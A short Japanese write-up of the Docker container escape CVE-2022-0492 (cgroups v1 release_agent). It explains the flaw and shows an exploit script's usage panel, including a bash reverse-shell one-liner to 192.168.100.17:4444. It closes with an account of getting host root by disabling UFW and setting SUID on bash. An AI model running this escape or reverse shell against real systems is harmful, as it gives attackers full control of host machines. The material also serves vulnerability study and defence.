
CAP_SYS_ADMIN およびユーザー名前空間を介した Docker ブレイクアウトチェッカーと PoC (CVE-2022-0492)
この脆弱性を悪用するには、攻撃者が脆弱なシステム上で実行されている Docker コンテナへのアクセス権を持っている必要があります。悪用に成功すると、攻撃者はコンテナから脱出し、ホストシステムを完全に制御できます。
Linux カーネルの kernel/cgroup/cgroup-v1.c 内にある cgroup_release_agent_write 関数に脆弱性が見つかりました。この欠陥は、特定の状況下で cgroups v1 の release_agent 機能を使用して特権を昇格させ、名前空間分離を予期せずバイパスすることを可能にします。
もっと簡単に言うと、cgroups v1 には release_agent と呼ばれる機能があり、cgroup 内のプロセスが終了したときにプログラムを実行します。notify_on_release が有効になっている場合、カーネルは release_agent バイナリを root として実行します。release_agent ファイルを編集することで、攻撃者は昇格した権限で自身のバイナリを実行し、システムを制御できます。ただし、release_agent ファイルは root が所有しているため、root アクセスを持つユーザーのみが変更できます。
# sh CVE-2022-0492.sh
[>] CVE-2022-0492 Docker Container Escape V
[>] Execute this script in a Docker to check for vulnerability or to exploit it. (º___\/{
[>] Usage:
sh CVE-2022-0492.sh --checker Verify if system is vulnerable.
sh CVE-2022-0492.sh -c|--command <COMMAND> Execute command on host machine.
sh CVE-2022-0492.sh -h|--help Print the help panel.
[>] Example:
sh CVE-2022-0492.sh --command 'bash -c "bash -i >& /dev/tcp/192.168.100.17/4444 0>&1"'
UFW を無効化し、その後にリバースシェルを送信することで、ホストマシンの root ユーザーを侵害しました。

bash に SUID を設定してホストマシンの root ユーザーを侵害し、リバースシェルも送信しました。
